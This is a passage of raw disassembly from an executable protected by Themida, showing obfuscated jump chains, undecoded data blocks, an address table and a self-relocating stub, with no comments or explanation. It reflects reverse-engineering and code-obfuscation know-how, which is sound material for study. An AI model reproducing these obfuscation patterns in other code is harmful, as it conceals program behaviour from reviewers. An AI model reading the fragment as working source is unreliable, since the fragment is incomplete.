		dd 0DD3158C5h, 5DEA315Bh, 0FFD230E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590FC1:				; CODE XREF: Themida_:0058E3F8j
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_58F871
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXsb		db 'Xéb',0Ah,0
		align 2


loc_590FDE:				; CODE XREF: Themida_:0058DFA9j
		add	esp, 4
		push	edi
		push	5C9247D9h
		pop	edi
		push	ebx
		jmp	loc_587372
; ---------------------------------------------------------------------------
		dw 5651h
		dd 0FFA381E9h, 240C89FFh, 581A7EB9h, 0B1B5E925h, 0F181FFFFh
		dd 69B811C0h, 0C8BC889h, 4C48324h, 0FFA6E0E9h, 2B9FFh
		dd 0CD010000h, 68240C8Bh, 37C0h, 89240C89h, 5661E9E1h
		dd 1C89FFFFh, 46BA5224h, 81608001h, 80010EEAh, 5AD38960h
		dd 1347BE56h, 0F3294D40h, 81FB015Eh, 401347C3h,	0B9514Dh
		dd 81000000h, 0D7249E9h, 81D90106h, 0D7249C1h, 8B018806h
		dd 0FDE9240Ch, 0F7FFFF6Fh, 0FFC281D2h, 10D809Fh, 57555AD1h
		dd 0FFF78CE9h, 3F9C68FFh, 34890000h, 3A8EBE24h,	7EE95280h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591093:				; CODE XREF: Themida_:005910A0j
		xor	ebp, ebx
		jmp	loc_587340
; ---------------------------------------------------------------------------


loc_59109A:				; CODE XREF: Themida_:0058677Aj
		xor	ebx, 3DB3391Ch
		jmp	loc_591093
; ---------------------------------------------------------------------------
		db 59h,	50h, 52h
		dd 1D7EDCBAh, 5AD0895Ah, 0C158C601h, 0E68105E6h, 16AC6ABFh
		dd 0FF59ECE9h, 5EF001FFh, 405h,	0EC07E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5910CE:				; CODE XREF: Themida_:0058F48Aj
		mov	ebx, 40E33AAAh
		jmp	loc_587BFA
; ---------------------------------------------------------------------------
		dd 5F5AD501h, 2C8BE829h, 0E7895724h, 4C781h, 58E90000h
		dd 8BFFFFBAh, 0C481240Ch, 4, 8324148Bh,	0C0E904C4h, 8BFFFF4Bh
		dd 0C483240Ch, 24043304h, 33240431h, 248B2404h,	4A30F24h
		dd 0A4E99C24h, 51FFFF4Bh, 42474FFh, 24048F59h, 2414895Ch
		dd 0B1E95A54h, 57FFFFECh, 0C975A5BFh, 4EFC13Eh,	0FFE463E9h
		dd 7CE681FFh, 812D0473h, 880A87F6h, 81DEF740h, 0D4805BF6h
		dd 5EF731D9h, 895FFD89h, 2434FFEBh, 4C4835Dh, 0E91C5F21h
		dd 0FFFFCBE5h
; ---------------------------------------------------------------------------


loc_59116C:				; CODE XREF: Themida_:00588A5Fj
		mov	ebx, 5D3402DAh
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58A986
; ---------------------------------------------------------------------------
		dw 7BB7h
		dd 3059EF28h, 2434FFF8h, 23D9685Bh, 1C890000h, 52E38924h
		dd 4BAh, 8BD30100h, 28E92414h, 81FFFF91h, 0B7FEBEEEh, 5EF50106h
		dd 242C3358h, 33242C31h, 0D25C242Ch, 0E99C2424h, 0FFFF4AF7h
; ---------------------------------------------------------------------------


loc_5911CC:				; CODE XREF: Themida_:0058BE60j
		mov	edi, 2
		add	ebp, 64C41B4Ah
		jmp	loc_586FC7
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 24048124h, 4, 83241C8Bh, 2DE904C4h
		dd 33FFFFB2h, 2C31242Ch, 6DFCE924h, 0E6D0FFFFh,	2809EE80h
		dd 45A66F0h, 2CD8284Dh,	4EC814Dh, 0E9000000h, 0FFFFFCBAh
		dd 4BE959B0h, 31FFFF6Ch, 5C015EF3h, 1C8B0424h, 4C48324h
		dd 0FF4A8EE9h, 87D2F7FFh, 555E2414h, 2B7847BDh,	0DDF74518h
		dd 2ACCE581h, 0C5810D8Fh, 98B96655h, 0E95DEE29h, 58Dh
		dd 0FF4A66E9h, 35055BFFh, 17C0A47h, 47352DF8h, 7DE97C0Ah
		dd 5EFFFF60h, 15EF129h,	240C8BC8h, 0DE78E957h, 0E983FFFFh
		dd 240C8704h, 0FF55F7E9h, 19AA2DFFh, 685E4969h,	4F21h
		dd 57243489h, 0FF9B6DE9h, 0E9CC08FFh, 0FFFFB138h
; ---------------------------------------------------------------------------


loc_5912A4:				; CODE XREF: Themida_:00589539j
		pop	edi
		or	eax, edx
		pop	edx
		xor	eax, 377F53EFh
		jmp	loc_58E014
; ---------------------------------------------------------------------------
word_5912B2	dw 8B66h		; DATA XREF: Themida_:00585B88o
		dd 0E953240Ch, 0FFFF5BE1h
dword_5912BC	dd 8B2434FFh, 0EC812404h, 4, 89242C89h,	4C581E5h, 83000000h
					; DATA XREF: Themida_:00585A00o
		dd 2C8704C5h, 0EC815C24h, 4, 89242C89h,	5E63E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5912EA:				; CODE XREF: Themida_:0058D4DFj
		add	ebp, 4
		push	ecx
		mov	ecx, 368A43CDh
		shl	ecx, 5
		xor	ecx, 23AC0D00h
		not	ecx
		xor	ecx, 3FD66F8Bh
		sub	ecx, 32CDE4D0h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_589438
; ---------------------------------------------------------------------------
byte_591315	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585C14o
		dd 4EC8124h, 89000000h,	1B68242Ch, 89000003h, 74E92424h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59132F:				; CODE XREF: Themida_:00589D76j
		mov	ebx, 1
		sub	eax, ebx
		pop	ebx
		sub	eax, 0FFFFFFFFh
		xchg	eax, ebx
		jmp	loc_58F833
; ---------------------------------------------------------------------------
		dd 83A8E95Ah, 0C181FFFFh, 4FC037E3h, 0FF8130E9h, 81D9F7FFh
		dd 5907F0E1h, 0BC9817Bh, 811C077Fh, 4F7FDAE9h, 59CF893Eh
		dd 815FF901h, 0D205A1E9h, 6A5EE968h, 3BBDFFFFh,	8103F93Ch
		dd 91EABCC5h, 0BDC38115h, 81718677h, 870FA8C3h,	81EB0174h
		dd 870FA8EBh, 81BD5574h, 0E9731B25h, 0FFFFB0DDh, 42474FFh
		dd 0FF8CA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5913A9:				; CODE XREF: Themida_:00587DCFj
		mov	edx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_588AC5
; ---------------------------------------------------------------------------
		db 2Dh,	60h, 3Ch
		dd 0ABE93257h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5913C3:				; CODE XREF: Themida_:0058D2DDj
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58CF75
; ---------------------------------------------------------------------------
		db 81h
		dd 5A3B4FE1h, 8839E93Dh, 0EE81FFFFh, 567F2AF1h,	42FDC681h
		dd 0C68144EBh, 0FDD0EA32h, 0FFC077E9h, 243C8BFFh, 292E953h
		dd 4B90000h, 1000000h, 8158E9CEh, 0B252FFFFh, 8BD1889Ch
		dd 0D6E92414h, 33FFFFCDh, 14312414h, 24143324h,	0E924248Bh
		dd 0FFFF6143h, 0B506C781h, 0FE89C3A7h, 5EF0015Fh, 5C240487h
		dd 5E08950h, 4,	42Dh, 24048700h, 240C895Ch, 0FFB58FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591461:				; CODE XREF: Themida_:0058A465j
		mov	[esp], ebp
		push	43D3h
		mov	[esp], ecx
		jmp	loc_5869AF
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF4B32h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF8C91h, 1962EE81h, 0D6F71401h, 0F409EE81h, 0F131ADACh
		dd 244F895Eh, 24770159h, 53D2315Eh, 8B2434FFh, 43E92404h
		dd 5FFFF6Fh, 4,	8704C083h, 685C2404h, 47B3h, 0BF243C89h
		dd 44BE44CCh, 34FFFB01h, 2434FF24h, 4C4835Fh, 760C68h
		dd 241C8900h, 0FFB86DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5914E5:				; CODE XREF: Themida_:0058D08Aj
		push	6662h
		mov	[esp], edi
		mov	edi, 4C203C33h
		jmp	loc_58B66E
; ---------------------------------------------------------------------------
		db 52h
		dd 0B44C9ABAh, 5AD3313Dh, 318CEB81h, 0D809C045h, 81241C8Bh
		dd 4C4h, 8CBD5500h, 0C1613146h,	0CD8107EDh, 5DC824E4h
		dd 2294E581h, 0DDF77633h, 7FFCC581h, 74E95CB8h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591533:				; CODE XREF: Themida_:00587390j
		add	esp, 4
		push	eax
		jmp	loc_585E7A
; ---------------------------------------------------------------------------


loc_59153C:				; CODE XREF: Themida_:005908B6j
		add	edx, 4
		jmp	loc_58963C
; ---------------------------------------------------------------------------


loc_591547:				; CODE XREF: Themida_:0058CC4Fj
		pop	edi
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_5889A8
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4D800BBh, 0B75366BBh, 0E9D12C7Ah, 0FFFF6F78h, 0E924348Bh
		dd 0FFFF565Ah, 0DB2FE955h, 429FFFFh, 48E99C24h,	29FFFF47h
		dd 2EE92404h, 87FFFF8Ch, 815C241Ch, 4ECh, 241C8900h, 3EF2FCBBh
		dd 5BDD2934h, 0E95DEB89h, 0FFFF4723h
; ---------------------------------------------------------------------------


loc_5915A0:				; CODE XREF: Themida_:00589FCEj
		push	esi
		push	70B2h
		jmp	loc_58B24E
; ---------------------------------------------------------------------------


loc_5915AB:				; CODE XREF: Themida_:00588287j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_58A3C6
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: Themida_:0058F944j
		push	bx
		mov	bh, 1Ah
		add	dl, bh
		pop	bx
		add	bl, 72h
		jmp	loc_590726
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 240C8B54h, 4C481h, 0BA520000h, 23C02E44h, 4D27B951h
		dd 0E18130AFh, 0F974394h, 0FF6C43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5915ED:				; CODE XREF: Themida_:00590F3Fj
		pop	esp
		jmp	loc_58E4E0
; ---------------------------------------------------------------------------
		db 83h
		dd 5D042404h, 8904EC83h, 4BE2434h, 1000000h, 0ED815EF5h
		dd 2, 174768h, 242C8900h, 42474FFh, 24048F5Dh, 489665Ch
		dd 469DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591626:				; CODE XREF: Themida_:0058EF16j
		pop	edx
		sub	edx, esi
		jmp	loc_586130
; ---------------------------------------------------------------------------
		dw 3868h
		dd 8900003Ah, 8AE9243Ch, 1FFFF9Fh, 0D2E95EF0h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591643:				; CODE XREF: Themida_:00588DB7j
		mov	ecx, 735C0FEBh
		push	ebp
		push	264216B7h
		jmp	loc_589A7F
; ---------------------------------------------------------------------------


loc_591653:				; CODE XREF: Themida_:0058D36Fj
		xor	esi, [esp]
		jmp	loc_587767
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF4662E9h, 3EEF80FFh, 0C780CF28h, 8059663Eh, 0E78002E7h
		dd 18C78097h, 0E907E7C0h, 0FFFF59B8h, 5FF80166h, 0E9C53166h
		dd 0FFFFC789h, 5C24048Fh, 9C240CD2h, 0FF462EE9h, 243C8BFFh
		dd 0E904C483h, 0FFFFD33Dh, 0C381E389h, 4, 4C381h, 0A0E90000h
		dd 0F7FFFFD8h, 0E9CE87D1h, 0FFFFECA3h
; ---------------------------------------------------------------------------


loc_5916BC:				; CODE XREF: Themida_:0058E551j
		pop	ecx
		add	esp, 4
		add	edx, edi
		mov	ecx, [edx]
		jmp	loc_58C0AA
; ---------------------------------------------------------------------------


loc_5916CC:				; CODE XREF: Themida_:0059065Cj
		mov	ebp, ebx
		push	ecx
		push	ebp
		xor	dword ptr [esp], 1417085Ah
		pop	ecx
		jmp	loc_590588
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 1Eh
		dd 81FFFFEEh, 73BC5h, 0E9FD0178h, 0FFFF6658h, 746A98B9h
		dd 59CA8960h, 6855564Ah, 13E41D93h, 80F5815Dh, 8159A961h
		dd 6D5903F5h, 5DEE896Fh, 5602E6C1h, 5E2414F7h, 0AC9BC681h
		dd 0F221965Bh, 0CCBF575Eh, 475A9731h, 0F7DF8747h, 31DF31D3h
		dd 53DF31FBh, 0FF8798E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591739:				; CODE XREF: Themida_:0058F874j
		or	eax, eax
		jz	loc_588AD4
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	eax
		jmp	loc_589331
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 70h
		dd 64FFFF45h, 68E90288h, 1FFFF45h, 0CCEE81EEh, 5D77BA4Bh
		dd 8B243487h, 46E92424h, 89FFFFDDh, 4BE56E5h, 1000000h
		dd 57515EF5h, 0FF76E8E9h, 533F04FFh, 0E7C03EB7h, 9BE95507h
		dd 89FFFFC7h, 0F0B82404h, 40642034h, 96D6F796h,	0FF556BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5917A1:				; CODE XREF: Themida_:00586117j
		add	esp, 4
		jmp	loc_58CE80
; ---------------------------------------------------------------------------
		dd 71DAEE81h, 0C681481Bh, 4B3414DEh, 348BF301h,	9077E924h
		dd 8B54FFFFh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58CA30
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24048924h, 0FF44DEE9h, 0E9F329FFh, 0FFFF4721h
		dd 4BB53h, 0D9010000h, 240C875Bh, 124248Bh, 8B04244Ch
		dd 0C481240Ch, 4, 0FF44B6E9h, 5EE3BDFFh, 44E92073h, 81FFFF96h
		dd 4ECh, 0A11AE900h, 895CFFFFh,	0C5B5240Ch, 88E9EE28h
		dd 88FFFFDDh, 5AF088CEh, 0E9240C8Bh, 0FFFFE83Bh, 335EF201h
		dd 86E92414h, 68FFFFEFh, 2Ch, 0E310E95Ah, 0C8BFFFFh, 0E6895624h
		dd 4C681h, 0B8500000h, 4, 8758C601h, 9E92434h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59186F:				; CODE XREF: Themida_:0058C6BEj
		push	ecx
		mov	ecx, 38F311E8h
		or	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, 27CB5064h
		jmp	loc_58CD3F
; ---------------------------------------------------------------------------


loc_59188B:				; CODE XREF: Themida_:00588E64j
		mov	eax, 1D75507Dh
		jmp	loc_58C092
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 53h
		dd 54635CBBh, 5CCB8176h, 832F273Eh, 0CB81FFEBh,	0AB10BDCh
		dd 67E9DBF7h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5918B3:				; CODE XREF: Themida_:00587355j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58AF78
; ---------------------------------------------------------------------------
		dd 0D7E9D3F6h, 8BFFFF5Fh, 0C481241Ch, 4, 0A4BA5253h, 897C340Ch
		dd 0C3815AD3h, 2905B28h, 0F381D3F7h, 54653EA5h,	78CAEB81h
		dd 0E3C17B89h, 0FCEB8107h, 0E9EA96E5h, 0FFFF634Bh
; ---------------------------------------------------------------------------


loc_5918F8:				; CODE XREF: Themida_:0058DAF7j
		pop	edx
		and	eax, ebx
		jmp	loc_58FC30
; ---------------------------------------------------------------------------
		dd 6B52E95Ch, 0E789FFFFh, 0FF7C31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59190D:				; CODE XREF: Themida_:0058A5E4j
		add	ebp, 0C7A02D09h
		add	esi, 15D60C77h
		jmp	loc_586C4F
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 90B0E902h, 585FFFFFh, 1354EF81h, 0CF297213h,	1354C781h
		dd 0A4E97213h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59193B:				; CODE XREF: Themida_:0058BB8Bj
		push	dword ptr [ebx]
		jmp	loc_5908F9
; ---------------------------------------------------------------------------
		dw 6305h
		dd 5601353Dh, 0F7628CBEh, 0FA9CE977h, 148BFFFFh, 4C48124h
		dd 68000000h, 4235h, 54241489h,	4EC815Ah, 89000000h, 0E957242Ch
		dd 0FFFFCDF1h
; ---------------------------------------------------------------------------


loc_591974:				; CODE XREF: Themida_:005893A2j
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58E3E1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 50000000h,	0FFF407E9h, 8E8C1FFh, 0FF4731E9h
		dd 4C381FFh, 81000000h,	4C3h, 241C8700h, 0E089505Ch, 848B951h
		dd 0D1F76829h, 81E1D141h, 0ADEF6CE9h, 59C8012Fh, 8704C083h
		dd 0C15C2404h, 0C00B00E9h, 0E05F840Fh, 0E953FFFFh, 0FFFFC61Fh
; ---------------------------------------------------------------------------


loc_5919D8:				; CODE XREF: Themida_:0058A4DCj
		neg	ebx
		shr	ebx, 6
		add	ebx, 7A1D05DAh
		dec	ebx
		sub	ebx, 7E093D34h
		add	eax, ebx
		pop	ebx
		jmp	loc_58BC38
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0FF000000h, 81582434h, 4C4h, 661D6800h, 0C890000h
		dd 1EE95624h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591A13:				; CODE XREF: Themida_:005888C9j
		mov	ebx, esp
		jmp	loc_58D109
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 80088027h, 69E2C181h, 0D9014357h, 69E2E981h,	815B4357h
		dd 4C1h, 240C8700h, 0E924248Bh,	0FFFF4283h, 81E78957h
		dd 4C7h, 4BE5600h, 81000000h, 7C6C5BC7h, 81F7012Ah, 7C6C5BEFh
		dd 0FF575E2Ah, 0E9042474h, 0FFFFB602h
; ---------------------------------------------------------------------------


loc_591A68:				; CODE XREF: Themida_:005900D0j
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		push	ebp
		push	4
		pop	ebp
		sub	edi, 0A561079h
		add	edi, ebp
		push	esi
		mov	esi, 104F445Ch
		jmp	loc_589BD5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D5BA5200h, 0C177075Ch, 0F26802E2h, 8900004Ch
		dd 22E92434h, 58FFFFDDh, 0E904EC83h, 0FFFF7534h, 31243C33h
		dd 6EE9243Ch, 53FFFFECh, 861EFBBh, 5BDF2942h, 6979E95Ah
		dd 0C8BFFFFh, 5A19E924h, 0E289FFFFh, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FFF222E9h, 4C281FFh, 83000000h, 148704C2h
		dd 0E746E924h, 1C87FFFFh, 0FB51E924h, 0C8BFFFFh, 95CFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591B12:				; CODE XREF: Themida_:00589BF6j
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	edx, 77914FA9h
		push	ebx
		jmp	loc_58CBE0
; ---------------------------------------------------------------------------
		dd 0E33DF6BEh, 0E9F1315Eh, 0FFFF6C35h, 404EF281h, 0D7896EC7h
		dd 0B651E95Ah, 348BFFFFh, 0AE42E924h, 0C681FFFFh, 4, 31243433h
		dd 34332434h, 0AFB4E924h, 5253FFFFh, 95E97EB6h,	66FFFF4Dh
		dd 4212C59h, 0E94E0492h, 0FFFFA045h
; ---------------------------------------------------------------------------


loc_591B70:				; CODE XREF: Themida_:0058614Dj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591B75:				; CODE XREF: Themida_:0058A383j
		add	edi, 0A38E6760h
		jmp	loc_589A8D
; ---------------------------------------------------------------------------


loc_591B80:				; CODE XREF: Themida_:005878B0j
		push	esi
		mov	esi, 5C3B2E3Bh
		inc	esi
		push	ecx
		mov	ecx, 4084397h
		add	ecx, 783F2A76h
		add	ecx, 0DFF3C02Bh
		xor	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58E21A
; ---------------------------------------------------------------------------
		db 1, 0D0h, 51h
		dd 0F311DB9h, 81D9F744h, 3A5481C9h, 520AE950h, 7D68FFFFh
		dd 89000014h, 4812424h,	424h, 0EC815E00h, 4, 0B8240489h
		dd 29EF6C68h, 4A205035h, 13DC257Eh, 0F02D064Bh,	0E9096868h
		dd 0FFFF843Ch
; ---------------------------------------------------------------------------


loc_591BF0:				; CODE XREF: Themida_:0058C0AEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58618F
; ---------------------------------------------------------------------------
		dd 576DE505h, 0D1A7E949h, 6FBBFFFFh, 89198B56h,	7BE95BD8h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591C17:				; CODE XREF: Themida_:0058C172j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_58F090
		push	dword ptr [edi+1Ch]
		push	esi
		push	ebx
		push	ecx
		mov	ecx, 14AB78F2h
		mov	ebx, 277E02DCh
		xor	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_58FEFD
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 59CE280Ch, 0FF67CDE9h, 12FF4CFFh, 5EC81100h,	43DB9C00h
		dd 5ED39CFAh, 5EC1F400h, 90EB9400h, 0AC1B7Ch, 20700h, 200h
		dd 100h, 0
		dd 43DB9C00h, 0FAh, 4 dup(0)
		dd 59425F00h, 59DB9200h, 5A1AC900h, 595EE200h, 59D29C00h
		dd 598B9300h, 59FA9C00h, 5944E300h, 59471600h, 59357000h
		dd 59328300h, 5A33A600h, 5A428200h, 5964C600h, 59F70700h
		dd 5939A700h, 59432D00h, 5A574800h, 5A35FC00h, 5981F500h
		dd 5A0E1000h, 5996D600h, 59EB2700h, 59403800h, 59E11900h
		dd 5A6F5600h, 5A419A00h, 598EE300h, 59ACD300h, 59E59700h
		dd 5A4F8700h, 5A395B00h, 5A49D700h, 5995FD00h, 5A458500h
		dd 5A5CE200h, 5A66AF00h, 5A668300h, 5A4EFA00h, 59826000h
		dd 5926B200h, 5A59EA00h, 5A1D3500h, 59756E00h, 59956100h
		dd 59298900h, 5947EA00h, 5A3EF800h, 59BA8300h, 5A17C100h
		dd 59597F00h, 59657000h, 59875100h, 59222700h, 59C60600h
		dd 59419900h, 5981BD00h, 5A6D9300h, 5A31BD00h, 5964B400h
		dd 593C1D00h, 5A36AB00h, 59473300h, 5980FE00h, 599D1A00h
		dd 598FD500h, 5A084500h, 59EF5B00h, 59B48F00h, 59938100h
		dd 59CAE000h, 593A1F00h, 5947D800h, 5A101800h, 59EEF700h
		dd 593EA700h, 59CD1F00h, 59506000h, 5A5BA200h, 5A505300h
		dd 5A354500h, 59568300h, 59347100h, 5A493500h, 59548C00h
		dd 5A006900h, 59338500h, 59861900h, 59389700h, 59470000h
		dd 59958300h, 59F6FD00h, 59E07100h, 599E3600h, 597B5B00h
		dd 59D9CC00h, 59ECE700h, 59F32100h, 59D65100h, 5978A300h
		dd 5952FF00h, 59CFE800h, 596D5200h, 5A021700h, 5A6FB800h
		dd 5932FE00h, 59238500h, 5A656800h, 599B4300h, 594A2500h
		dd 5982E700h, 5A65FA00h, 5A607D00h, 59D00400h, 597C3900h
		dd 59534500h, 5970F800h, 59D49200h, 593EF900h, 59D68300h
		dd 59F6D200h, 5982FE00h, 5A081300h, 59626A00h, 5A583200h
		dd 5A107200h, 594B0700h, 592AF000h, 599AAD00h, 59AA0A00h
		dd 59D51600h, 59202900h, 59E17300h, 5A4AAA00h, 592B5500h
		dd 59910100h, 5A35EC00h, 5A48A600h, 5A45A900h, 5A4A3800h
		dd 59977700h, 59F75100h, 59EE4000h, 5961C000h, 59C07200h
		dd 5A2EDE00h, 5A024200h, 5A4CFD00h, 59268100h, 5A3BA600h
		dd 59417A00h, 5932EC00h, 59E20700h, 59DB2000h, 59502700h
		dd 594F9900h, 5A3EE700h, 5A543A00h, 597A0F00h, 59E5A800h
		dd 5A62D600h, 597D0200h, 599E7400h, 59BD7900h, 5A2D5D00h
		dd 5A68FE00h, 5A250900h
		db 0
; ---------------------------------------------------------------------------


loc_591F29:				; CODE XREF: Themida_:005D4A0Fj
					; Themida_:005E2D7Aj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6154395h
		mov	eax, edi
		add	edi, 61540ADh
		cmp	eax, [edi+2Ch]
		jnz	short loc_591F47
		jmp	short loc_591F5A
; ---------------------------------------------------------------------------


loc_591F47:				; CODE XREF: Themida_:00591F43j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_591F56
; ---------------------------------------------------------------------------


loc_591F51:				; CODE XREF: Themida_:00591F58j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_591F56:				; CODE XREF: Themida_:00591F4Fj
		or	ecx, ecx
		jnz	short loc_591F51


loc_591F5A:				; CODE XREF: Themida_:00591F45j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_591F67:				; CODE XREF: Themida_:00591F6Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_591F67


loc_591F70:				; CODE XREF: Themida_:00592C4Aj
					; Themida_:loc_5931D1j	...
		lodsb
		jmp	loc_59D4DA
; ---------------------------------------------------------------------------


loc_591F76:				; CODE XREF: Themida_:0059E9E6j
		or	eax, eax
		jz	loc_597536
		push	dword ptr [edi+1Ch]
		push	4043h
		mov	[esp], ecx
		mov	ecx, 2DAE5CFDh
		jmp	loc_597CA3
; ---------------------------------------------------------------------------


loc_591F93:				; CODE XREF: Themida_:0059A031j
		mov	[esp], edx
		mov	edx, 1
		push	2472h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5A2671
; ---------------------------------------------------------------------------


loc_591FAB:				; CODE XREF: Themida_:00594482j
		xor	ebp, 0EBD567Dh
		sub	esi, ebp
		pop	ebp
		sub	esi, 49E36AF3h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5975EC
; ---------------------------------------------------------------------------


loc_591FD4:				; CODE XREF: Themida_:005A100Dj
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_5A587A
; ---------------------------------------------------------------------------


loc_591FE7:				; CODE XREF: Themida_:005A6976j
		add	ebx, 7306C35h
		add	edi, ebx
		pop	ebx
		push	esi
		jmp	loc_5A4F95
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 1C895C24h, 0CE83E924h, 1C890000h, 1C8BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59200A:				; CODE XREF: Themida_:005A62D1j
		mov	ebx, 66EC4325h
		and	ebx, 5E117983h
		push	edx
		mov	edx, 41A96D30h
		xor	edx, 20B57C90h
		and	ebx, edx
		pop	edx
		jmp	loc_59A3C9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 0EC8104C4h, 4, 89240C89h,	0EBE953E1h, 5F0000C4h
		dd 34FFF001h, 0C4815E24h, 4, 205h, 24048700h, 11E6AE9h
		dd 0F2E95B00h, 0B7000097h, 87E95014h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59206B:				; CODE XREF: Themida_:005948E6j
		add	dword ptr [esp+4], 10EF5380h
		jmp	loc_59B1F7
; ---------------------------------------------------------------------------
		dd 4C181h, 0FF510000h, 59042474h, 5C24048Fh, 0E92434FFh
		dd 95Dh, 8704C383h, 72E9241Ch, 100003Fh, 777C2DF0h, 8B5E0A0Eh
		dd 0C483242Ch, 5A20E904h, 78BA0000h, 8116A114h,	51FB7F2h
		dd 0F7DAF70Dh, 0CAEA81D2h, 521BA40Bh, 8F65E9h, 24248B00h
		dd 66E9F766h, 666EF968h, 0E9241489h, 0FB41h, 29B668h, 243C8900h
		dd 0C781E789h, 4, 8704C783h, 295C243Ch,	24148BD6h, 5004C483h
		dd 405E089h, 83000000h,	7B6804E8h, 89000075h, 74FF2404h
		dd 8F580424h, 0E95C2404h, 0ED1Bh, 72C68058h, 3023F680h
		dd 24148BF5h, 6604C483h, 762C6853h, 4890000h, 4F5EE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59213A:				; CODE XREF: Themida_:00598D9Ej
		pop	ecx
		jmp	loc_5A07BC
; ---------------------------------------------------------------------------


loc_592140:				; CODE XREF: Themida_:005971AAj
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_597CD2
; ---------------------------------------------------------------------------
		dw 0EC68h
		dd 0FF2F706Eh, 575E2434h, 2B2CE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59215E:				; CODE XREF: Themida_:0059B9CDj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_59A9AF
